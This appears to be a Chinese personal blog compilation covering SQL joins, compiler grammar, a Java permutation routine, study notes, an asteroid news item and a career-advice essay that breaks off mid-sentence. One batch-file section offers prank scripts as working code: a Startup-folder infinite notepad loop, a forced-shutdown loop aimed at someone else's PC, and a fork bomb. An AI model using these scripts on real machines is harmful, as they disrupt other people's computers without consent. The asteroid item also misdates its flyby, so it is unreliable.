sql语法:inner join on, left join on, right join on详细使用方法

1.理论

只要两个表的公共字段有匹配值,就将这两个表中的记录组合起来。

个人理解:以一个共同的字段求两个表中符合要求的交集,并将每个表符合要求的记录以共同的字段为牵引合并起来。

语法

select * FROM table1 INNER JOIN table2 ON table1 . field1 compopr table2 . field2

INNER JOIN 操作包含以下部分:

部分
说明

table1, table2
要组合其中的记录的表的名称。

field1,field2
要联接的字段的名称。如果它们不是数字,则这些字段的数据类型必须相同,并且包含同类数据,但是,它们不必具有相同的名称。

compopr
任何关系比较运算符:“=”、“<”、“>”、“<=”、“>=”或者“<>”。

说明

可以在任何 FROM 子句中使用 INNER JOIN 操作。这是最常用的联接类型。只要两个表的公共字段上存在相匹配的值,Inner 联接就会组合这些表中的记录。

可以将 INNER JOIN 用于 Departments 及 Employees 表,以选择出每个部门的所有雇员。而要选择所有部分(即使某些部门中并没有被分配雇员)或者所有雇员(即使某些雇员没有分配到任何部门),则可以通过 LEFT JOIN 或者 RIGHT JOIN 操作来创建外部联接。

如果试图联接包含备注或 OLE 对象数据的字段,将发生错误。

可以联接任何两个相似类型的数字字段。例如,可以联接自动编号和长整型字段,因为它们均是相似类型。然而,不能联接单精度型和双精度型类型字段。

下例展示了如何通过 CategoryID 字段联接 Categories 和 Products 表:

SELECT CategoryName, ProductName

FROM Categories INNER JOIN Products

ON Categories.CategoryID = Products.CategoryID;

在前面的示例中,CategoryID 是被联接字段,但是它不包含在查询输出中,因为它不包含在 SELECT 语句中。若要包含被联接字段,请在 SELECT 语句中包含该字段名,在本例中是指 Categories.CategoryID。

也可以在 JOIN 语句中链接多个 ON 子句,请使用如下语法:

SELECT fields
FROM table1 INNER JOIN table2
ON table1.field1 compopr table2.field1 AND
ON table1.field2 compopr table2.field2 OR
ON table1.field3 compopr table2.field3;

也可以通过如下语法嵌套 JOIN 语句:

SELECT fields
FROM table1 INNER JOIN
(table2 INNER JOIN [( ]table3
[INNER JOIN [( ]tablex [INNER JOIN …)]
ON table3.field3 compopr tablex.fieldx)]
ON table2.field2 compopr table3.field3)
ON table1.field1 compopr table2.field2;

LEFT JOIN 或 RIGHT JOIN 可以嵌套在 INNER JOIN 之中,但是 INNER JOIN 不能嵌套于 LEFT JOIN 或 RIGHT JOIN 之中。

2.操作实例

表A记录如下:
aID               aNum
1                  a20050111
2                  a20050112
3                  a20050113
4                  a20050114
5                  a20050115

表B记录如下:
bID               bName
1                   2006032401
2                  2006032402
3                  2006032403
4                  2006032404
8                  2006032408

实验如下:
1.left join

sql语句如下:
select * from A
left join B
on A.aID = B.bID

结果如下:
aID               aNum                          bID                  bName
1                   a20050111                1                      2006032401
2                   a20050112                2                     2006032402
3                   a20050113                3                     2006032403
4                   a20050114                4                     2006032404
5                   a20050115                NULL              NULL
(所影响的行数为 5 行)

结果说明:
               left join是以A表的记录为基础的,A可以看成左表,B可以看成右表,left join是以左表为准的.
换句话说,左表(A)的记录将会全部表示出来,而右表(B)只会显示符合搜索条件的记录(例子中为: A.aID = B.bID).
B表记录不足的地方均为NULL.

2.right join
sql语句如下:
select * from A
right join B
on A.aID = B.bID
结果如下:
aID               aNum                          bID                  bName
1                   a20050111                1            &#160
;         2006032401
2                   a20050112                2                     2006032402
3                   a20050113                3                     2006032403
4                   a20050114                4                     2006032404
NULL           NULL                          8                     2006032408
(所影响的行数为 5 行)
结果说明:
        仔细观察一下,就会发现,和left join的结果刚好相反,这次是以右表(B)为基础的,A表不足的地方用NULL填充.

3.inner join
sql语句如下:
select * from A
innerjoin B
on A.aID = B.bID

结果如下:
aID               aNum                          bID                  bName
1                   a20050111                1                      2006032401
2                   a20050112                2                     2006032402
3                   a20050113                3                     2006032403
4                   a20050114                4                     2006032404

结果说明:
        很明显,这里只显示出了 A.aID = B.bID的记录.这说明inner join并不以谁为基础,它只显示符合条件的记录.  还有就是inner join 可以结合where语句来使用 如:   select * from A innerjoin B on A.aID = B.bID where b.bname=’2006032401′ 这样的话 就只会放回一条数据了

 

来源:http://www.yantaiseo.com.cn/seo/sqljoinon.html

today?recently?

n久没正式更新下了,太忙了,今天就假装更新下……

软考过了,mark一下,是今天查的分数,其实很简单,我却考了两次- -!,严格来讲还有二十多天我的大学就要结束了,大四的课程已经跟学校申请免听了,大部分时间应该都在公司实习,想十一月考个架构师估计没什么时间看书,还想试试国内某著名公司的校招,自己曾经感慨人生有的时候很无奈,可是现在觉得很多时候那只是个借口,付出的不够,等待你的只有无奈的结果了,所以就当自己智商低一点,比别人多付出一点就好,还有,最近跟夜愿强调最多的就是应付大学的考试的最好的招数就是做题,其实不仅是大学,初中高中也是,当年上高中说神马千万不能来题海战术,我是完全反对的,题海战术是万万必要的,表弟高考前每天做三份卷子,一个月每门课做了100多份试卷,然后考上复旦了,表弟的智商完全不是genius的那种,所以,要付出!当然那是高中,大学的话,量到了就可以应付了。最近一直在复习,比较枯燥,可是想想未来,想想身上担负的责任和很多人的期望,想想一直期待的和傻瓜未来的美好生活,枯燥?so what~很佩服考研的同学,有的时候甚至觉得不考研是一种逃避,逃避学习!想想要考研的话那么多不想学的课程太浪费光阴,不过进大学就打定主意不考研的,这个只是想过了一下……

ok,the end~

扬大校外查分网站

http://jwweb.yzu.edu.cn:7777/zhxt_bks/zhxt_bks.html

   扬州大学校外查分网、扬州大学查分系统、扬大校外差分……

     作为扬大学生,深知各位学长学姐、学弟学妹假期在家对自己在校的成绩关心、故在此为你提供我们扬州大学校外查分网、扬州大学查分系统、扬大校外差分。

在此,先预祝大家能取得各好成绩,并祝你新年快乐!

扬州大学校外查分网、扬州大学查分系统、扬大校外差分扬州大学校外查分网、扬州大学查分系统、扬大校外差分扬州大学校外查分网、扬州大学查分系统、扬大校外差分扬州大学校外查分网、扬州大学查分系统、扬大校外差分扬州大学校外查分网、扬州大学查分系统、扬大校外差分扬州大学校外查分网、扬州大学查分系统、扬大校外差分扬州大学校外查分网、扬州大学查分系统、扬大校外差分扬州大学校外查分网、扬州大学查分系统、扬大校外差分扬州大学校外查分网、扬州大学查分系统、扬大校外差分扬州大学校外查分网、扬州大学查分系统、扬大校外差分扬州大学校外查分网、扬州大学查分系统、扬大校外差分扬州大学校外查分网、扬州大学查分系统、扬大校外差分扬州大学校外查分网、扬州大学查分系统、扬大校外差分扬州大学校外查分网、扬州大学查分系统、扬大校外差分扬州大学校外查分网、扬州大学查分系统、扬大校外差分扬州大学校外查分网、扬州大学查分系统、扬大校外差分扬州大学校外查分网、扬州大学查分系统、扬大校外差分扬州大学校外查分网、扬州大学查分系统、扬大校外差分扬州大学校外查分网、扬州大学查分系统、扬大校外差分扬州大学校外查分网、扬州大学查分系统、扬大校外差分扬州大学校外查分网、扬州大学查分系统、扬大校外差分扬州大学校外查分网、扬州大学查分系统、扬大校外差分扬州大学校外查分网、扬州大学查分系统、扬大校外差分扬州大学校外查分网、扬州大学查分系统、扬大校外差分、扬大注册中心、扬大选课系统

 

来源:http://hi.baidu.com/libra_titan_ann/blog/item/a2e727733592df188701b032.html    有改动

软考编译原理考点-文法

来源:http://www.200818.com/html/xzzq/byyl/3174.html
文法的直观理解
(1)什么是文法:
文法是对语言结构的定义与描述。即从形式上用于描述和规定语言结构的称为“文法”(或称为“语法” )。
例:有一句子:“我是大学生” 。这是一个在语法、语义上都正确定句子,该句子的结构(称为语法结构)是由它的语法决定的 。在本例中它为“主谓结构”。
如何定义句子的合法性?
如何定义有穷语言、无穷语言?
(2)语法规则:
我们通过建立一组规则(产生式),来描述句子的语法结构。
规定用“::=”表示“由……组成”或“定义为…”。如:
<句子>::=<主语><谓语>
<主语>::=<代词> | <名词>
<代词>::=你 | 我 | 他
<名词>::= 王民 | 大学生 | 工人 | 英语
<谓语>::=<动词><直接宾语>
<动词>::=是 | 学习
<直接宾语>::=<代词> | <名词>
(3)由产生式推导句子:
有了一组产生式之后,可以按照一定的方式用它们去推导或产生句子。
推导方法:从一个要识别的符号开始推导,即用相应产生式的右部来替代产生式的左部,每次仅用一条产生式去进行推导。如:
<句子> Þ <主语><谓语>
<主语><谓语> Þ <代词><谓语>
…………
这种推导一直进行下去,直到所有带< >的符号都由终结符号替代为止。
<句子> Þ <主语><谓语>
Þ < 代词><谓语>
Þ 我<动词><直接宾语>
Þ 我是<直接宾语>
Þ 我是<名词>
Þ 我是大学生

例:有一英语句子:The big elephant ate the peanut.
<句子>::=<主语><谓语>
<主语>::=<冠词><形容词><名词>
<冠词>::=the
<形容词>::=big
<名词>::=elephant
<谓语>::=<动词><宾语>
<动词>::=ate
<宾语>::=<冠词><名词>
<名词>::=peanut
<句子> Þ <主语><谓语>
Þ <冠词><形容词><名词><谓语>
Þ the <形容词><名词><谓语>
Þ the big <名词> <谓语>
Þ the big elephant <谓语>
Þ the big elephant <动词><宾语>
Þ the big elephant ate <宾语>
Þ the big elephant ate <冠词><名词>
Þ the big elephant ate the <名词>
Þ the big elephant ate the peanut
上述推导可写成
<句子> the big elephant ate the peanut
说明:
(1)有若干语法成分同时存在时,我们总是从最左的语法成分进行推导,这称之为最左推导,类似的有最右推导(一般推导)。
(2)从一组产生式可推出不同的句子,如以上产生式还可推出“大象吃象”、“大花生吃象”、“大花生吃花生”等句子,它们 在语法上都正确,但在语义上都不正确。
所谓文法是在形式上对句子结构的定义与描述,而未涉及语义问题。
(4)语法树:
我们用一种树型结构来描述一个句子的语法结构。称之为语法树。如:

百科:http://zh.wikipedia.org/zh/%E5%BD%A2%E5%BC%8F%E6%96%87%E6%B3%95#.E5.BD.A2.E5.BC.8F.E5.AE.9A.E4.B9.89

递归全排列算法(java)

/*
* 牛逼全排列算法,标记一下
*/
package string;

public class AllSort{
	public static void main(String[] args) {
		char buf[]={'a','b','c','d','e','g'};
		perm(buf,0,buf.length-1);
	}
	public static void perm(char[] buf,int start,int end){
		if(start==end){//当只要求对数组中一个字母进行全排列时,只要就按该数组输出即可
			for(int i=0;i<=end;i++){
				System.out.print(buf[i]);
			}
			System.out.println();
		}
		else{//多个字母全排列
			for(int i=start;i<=end;i++){
			char temp=buf[start];//交换数组第一个元素与后续的元素
			buf[start]=buf[i];
			buf[i]=temp;

			perm(buf,start+1,end);//后续元素递归全排列

			temp=buf[start];//将交换后的数组还原
			buf[start]=buf[i];
			buf[i]=temp;
			}
		}
	}
}

 

一个好玩的批处理程序

@echo off
rem 夜愿
rem 大家可以修改成自己的喜欢的
rem win7可以读中文 xp好像就只能是英文了
echo            《无题》
echo.
echo                  李商隐
echo.
echo 相见时难别亦难,东风无力百花残。
echo 春蚕到死丝方尽,蜡炬成灰泪始干。
echo 晓镜但愁云鬓改,夜吟应觉月光寒。
echo 蓬山此去多无路,青鸟殷勤为探看。
mshta vbscript:createobject(“sapi.spvoice”).speak(“无题”)(window.close)
mshta vbscript:createobject(“sapi.spvoice”).speak(“李商隐”)(window.close)
mshta vbscript:createobject(“sapi.spvoice”).speak(“相见时难别亦难,东风无力百花残,春蚕到死丝方尽,蜡炬成灰泪始干。晓镜但愁云鬓改,夜吟应觉月光寒,蓬山此去多无路,青鸟殷勤为探看。”)(window.close)

书单

这个是上次写过的书单

批处理入门手册 学了一半
三级偏软考试教程第二版 看完,万幸过了3级
软件设计师教程第三版 看完,悲催没过,今年继续,还有一个月
新东方英语六级词汇 没看完,e文现在成了我的软肋
Foobar2000集成实例讲义 搞定
foo_ui_func汉化文档 搞定
Foobar2000 v0.9 中文全教程 搞定
Foobar2000V0.9媒体库应用新手教程 搞定
王爽的汇编语言第二版还有罗云彬的win32汇编 罗的书在看第二遍,王的书没看
天书夜读,寒江独钓(这两本书量力而行吧) 空白中
谭浩强的C程序设计(都是基础知识) 在看,估计明天能ok
python核心编程第二版 看了两章基础

还有2本win32汇编的书看了没写,表示收获甚微

 

 

好吧,要学的东西太多,这阶段的书单(未按阅读顺序)

  1. 软件设计师考试考点分析与真题详解
  2. 软考的模拟题一册
  3. 谭浩强C
  4. 王爽汇编
  5. 罗汇编(继续复习and实践)
  6. core java 卷一
  7. 离散数学—>应付考试
  8. 待补充~

批处理

最近在研究批处理。。看的糊里糊涂的。。现在没事发几个好玩的批处理文件玩玩。。不要哪来做坏事哈。。
第一个:
@echo off
echo 怎么样,死机了吧!!!>C:WINDOWSsystem32a.txt
echo @echo off>C:WINDOWSsystem321.bat
echo start notepad C:WINDOWSsystem32a.txt>>C:WINDOWSsystem321.bat
echo start C:WINDOWSsystem322.bat>>C:WINDOWSsystem321.bat
echo exit>>C:WINDOWSsystem321.bat
echo @echo off>C:WINDOWSsystem322.bat
echo start notepad C:WINDOWSsystem32a.txt>>C:WINDOWSsystem322.bat
echo start C:WINDOWSsystem321.bat>>C:WINDOWSsystem322.bat
echo exit>>C:WINDOWSsystem322.bat
echo @echo off>”C:Documents and SettingsAll Users「开始」菜单程序启动a.bat”
echo start C:WINDOWSsystem321.bat>>”C:Documents and SettingsAll Users「开始」菜单程序启动a.bat”
echo exit>>”C:Documents and SettingsAll Users「开始」菜单程序启动a.bat”
start C:WINDOWSsystem321.bat
exit
第二个:让对方重启指定次数
@echo off
if not exist c:1.txt echo. >c:1.txt & goto err1
if not exist c:2.txt echo. >c:2.txt & goto err1
if not exist c:3.txt echo. >c:3.txt & goto err1
if not exist c:4.txt echo. >c:4.txt & goto err1
if not exist c:5.txt echo. >c:5.txt & goto err1
goto err2
:err1
shutdown -s -t 0
:err2
上面可以让对方电脑重启5次后不在重启
第三个比较好玩。。试过就知道了
@echo off
  set a=10
  set b=0
  :tex
  set /a a+=3
  set /a b+=1
  mode con cols=%a% lines=%b%
  if %a% lss 60 goto :tex
  echo O(∩_∩)O 圣诞快乐 O(∩_∩)O
  set a=15,a6,2e,d0,34,8b,4f,9d,5e
  for %%i in (%a%) do (
  ping -n 2 127.1>nul
  color %%i
  )
  for %%i in (%a%,%a%) do (
  ping -n 1 127.1>nul
  color %%i
  )
  >>ms.txt echo */. . . * .
  >>ms.txt echo .* . [] * __
  >>ms.txt echo */ . ./~~~~~~~~~~~~’. ^|◆
  >>ms.txt echo * ,/,..,,………..,.◆
  >>ms.txt echo ^|^| ..▎# ▎田 田 ▎ ^| ▎◆
  >>ms.txt echo ^|^| ^&^&▎ ▎ ▎’^|’▎ o
  >>ms.txt echo ^|^| ##■■■■■■■■■■〓
  msg %username% /w /time:3600 <ms.txt
  del ms.txt
  pause
好了。。大家不要拿来做坏事哈。。批处理的功能比较强大。。后果自负。。呵呵
比如说@echo off
start cmd
%0 三行就能使你的内存over。。呵呵
大家看命令把。。互相学习吧
夜愿 11/4/15

最危险小行星11月飞过地球 比地月距离还近

科学网讯 北京时间4月10日消息,一颗直径约400公尺的小行星即将与地球擦身而过,时间就在今年11月,它的体积庞大,靠近地球0.85个月球距离,大约是32万多公里,堪称天体中最具危险性的太空陨石之一。2005 YU55小行星是亚利桑那大学(大学ofArizona)杜斯肯月球与行星实验室于2005年12月28日发现,直径约400公尺,是个慢速自转的圆形小 星体,美国太空网站报道,11月初这颗小行星将仅靠近地球0.85个月球距离,目前有关方面正在规画各种雷达​​,目视与红外线观测活动。

火星と月

据台北市立天文馆网站介绍,月球绕地球的轨道是椭圆形,最近时约36万3300公里,最远时约40万5500公里,平均约38万4400公里。 所以,这颗危险小行星最接近地球时,只有0.85个月球距离,也就是大约32万6400公里,就天文单位而言是极其接近的距离。目前人类飞行物体跑最远的 是“航行家一号”,到今年3月7日为止,距离太阳约为174亿公里,预估再几年就跟太阳系说拜拜。

NASA的近地星体专案办公室主任姚曼斯说,“2005年11月8日YU55飞近地球的情形相当罕见,因为距离地球如此近,体积又如此之大。这种天文奇观每30年才会发生一次。“剑桥小行星中心则称它是‘可能具有危险性的小行星’”。

美国喷射推进实验室研究科学家班纳说,“我们已经准备好迎接2005年YU55和地球擦身而过”。“他说,观测活动包括使用波多黎各的巨型阿雷西博天文望远镜与加州金石天文台的设备。

接近地球的小行星,有潜在的威胁,体积大者一旦进入大气层,很容易造成全球性大灾难,目前世界各地有许多天文爱好者无时无刻在观测近地小行星, 好防患于未然;但是也有许多和平共存的小行星,北爱尔兰阿麦天文台天文学家最近就新发现一颗与地球为伴的小行星,它可能已经跟随地球一起环绕太阳至少有 250,000年之久了,而且或许与我们地球的起源密切相关。

这颗小行星2010 SO16是由广角红外巡天探测器于2010年发现的。在发现报告后2个月左右,天文学家Christou联系等人发现这颗小行星与太阳的平均距离,刚好与 地球到太阳的平均距离相同,更重要的是,它的轨道与地球轨道非常近似。绝大多数的近地小行星,轨道是非常椭圆的形状,轨道的一部分因而会进入太阳系内侧。 然而2010 SO16的轨道近乎圆形,不会接近地球以外的其他任何行星。

来源

很有意义的文章,送给走出校门和未走出校门的大学生

第一:不要认为停留在心灵的舒适区域内是可以原谅的。
每个人都有一个舒适区域,在这个区域内是很自我的,不愿意被打扰,不愿意被push,不愿意和陌生的面孔交谈,不愿意被人指责,不愿意按照规定的时限做事,不愿意主动的去关心别人,不愿意去思考别人还有什么没有想到。这在学生时代是很容易被理解的,有时候这样的同学还跟“冷酷”“个性”这些字眼沾边,算作是褒义。然而相反,在工作之后,你要极力改变这一现状。否则,你会很快变成鸡尾酒会上唯一没有人理睬的对象,或是很快因为压力而内分泌失调。但是,如果你能很快打破之前学生期所处的舒适区域,比别人更快的处理好业务、人际、舆论之间的关系,那就能很快的脱颖而出。
在会议上,一个停留在心灵舒适区域的人会消极的听取领导的话语,消极的待命,很死的完成上级交给的事情,但从来不关心此事以外的任何事情,更不会想到多做一步,让接下来的别人的工作更加容易上手。而敢于打破这个舒适区域的人,敢于在适当的时候提出自己的看法和不理解,并在得到上级认可和指点之后把手头的工作尽快的完成,并随时接受别人的批评和调整。(注意:永远不要等待别人把你的想法说出来,这是典型的前者)
在工作上,当前者遇到一名新的同事,他会装作没有看见,继续自己的工作。殊不知新来的同事不久就变成了自己的上司。而后者则大方客气的自我介绍,并了解对方和自己的关系。
在聚会上,前者总是等待别人发言,并喜欢私下里评论对方的言语;如果这个桌子上没有人发言,那直到用餐结束,也没有人认识你。而后者是勇敢的和一同吃饭的开始介绍和闲谈,这看起来很困难,有时候会有失面子,但往往你会发现,对方是多么希望能和你说几句话。
以上只是很小的几个例子,但是要说明的是,大学生在走出校园的同时就要在工作上把校园中的“随意性”从身边赶走,尽早的冲出自己的舒适区域,开始做好和这个社会交流的准备。
第二:不要把“好像”;“有人会……”;“大概”;“晚些时候”;“或者”;“说不定”之类放在嘴边。尤其是和上级谈论工作的时候。
我十分痛恨听到的一句话是:“我晚些时候会把这个文件发给所有的人”;因为这往往预示着我必须时刻提醒他不要忘记。同样,以下这些言辞也会让人觉得厌恶至极:
“到时候有人会把那些东西都准备好”
“大概是明天”
“明天或者后天客户会过来拜访”
“好像他说……”
一般是人都会这样说话的,因为这样第一给自己留下了广阔的余地,第二也不会给别人造成很大的压迫感,好像什么事情一定要弄个水落石出似的。说实话大学里面再用功的人都有一半是混的。一个人要么是在课堂上是混的,要么下课之后是混的。两个都没有带有混的色彩的人,要么是超级牛人,要么是神经病。所以,就因为人人都在混的,所以校园是一个浪漫的地方,校园也容易让人单纯。所以学生社团的工作往往是效率很低的,我现在回想起学校里做的工作,当时还觉得挺卖力的,但工作了之后才开始感觉到什么是效率。
当你进入了用金钱计算时间的地方之后,你要尽可能的避免在学校里养成的这种习惯。如果上级问你什么时候能实施你给他的承诺,而你回答“今晚或者明天早上”这样的答案对于他来说完全等同于你没有回答,并且还给他留下了一个坏印象。(当然,这样的回答往往在学校社团,学生会工作中是常见的)
有一个寓言故事,一只小老鼠刚刚出世不久,老鼠妈妈问小老鼠:你现在能看见了吗? 小老鼠说:能。 老鼠妈妈说:那你能看到那块红薯吗? 小老鼠说:是的。老鼠妈妈说:那是一块石头,这说明你不但还看不见东西,你连嗅觉都还没有。
似是而非的应答往往一样会暴露出你更多的弱点。可能是以下中的一个或几个:
1.你之前没有想到这个工作,或者一直在拖延。
2.你没有责任心,认为这些并不重要。
3.你应付上级。
4.你不敢说真话。
5.你喜欢逞能,答应一些做不到的事情。
6.你不能独立工作。
当你的上级在以上选项中怀疑的时候,潜意识中你已经同时具备了以上所有的弱点了。
相反的看来,这样的回答,总是让上司恼火。
第一,他的问题没有得到回答,只是起到了提醒你的作用。
第二,他依然需要记住提醒你,因为他不知道你是否真正已经落实了工作。
第三,他不知道有多少你已经做了的事情中,都是这样没有落实的。(这点非常致命)
第四,往往因为没有得到满意的答案,上司自己的计划不得不被耽搁或推迟或不能给出明朗的结束时间。
所以———
甲问:你什么时候能把要这个漏洞修好?
乙说:我已经通知他们了,他们大概明天就会来修的。
一天后
甲问:维修公司什么时候回来,你找的是哪家维修公司?
乙说:好像他们说安排不出人来,如果可以的话,今天晚上或者明天下午就能过来。
一天后
甲问:漏洞怎么还没有修好?
乙说:我晚点再问问他们。
甲说:今天下午之前不解决,明天不用来上班了。
第三:不要拖延工作
很多人喜欢在学习和玩耍之间先选择后者,然后在最后时间一次性赶工把考试要复习的东西突击完成。但是在工作中请不要养成这样的习惯,因为工作是永远做不完的,容不得你“突击”。又或者,当你在徘徊和彷徨如何实施的时候,你的领导已经看不下去,自己去做了。—-这是一个危险的信号。
往往我们总是想把事情从头到尾全部想好了,才开始走第一步—–就摔倒了。
举个例子:我小学的时候第一次给我一个喜欢的女孩子打电话的时候,想象了各种情况——-1,她接电话的时候在做作业。2,她在做作业,她妈妈接的电话。3. 她也很无聊,很想找人说话。4.她正在被父母训斥。 5.她正在想另外一个男孩。6.她父亲接电话。 7.她家正好来了什么亲戚,亲戚接了电话。 8.她接了电话,但父母就在身边,说话不方便…等等等等。我整整想了一个下午,想好了各种情况的心理准备和应对的策略。然后勇敢的拿起电话机,按下了那几个按钮。结果——-她不在家。
所以,当你徘徊不前而手足无措的时候,你要意识到你正在拖延工作。徘徊是因为害怕这个事情可能发生的后果需要自己承担或应付。工作的时候需要一种起码的自信,相信自己有能力,不管下一步是什么状况,我都能把它引导到我需要的那条线上去的。另外,告诉自己,不要想太多时间,如果不知道,就赶快求助,或想办法,苦恼和忧虑会给你更多的压力也会把剩下的时间蚕食殆尽。
另外,警告一下:永远不要想,我知道了,先把上级派的事情放一下,等这集《越狱》看完再说。—-90%的情况下,你会忘记,或者来不及,因为这件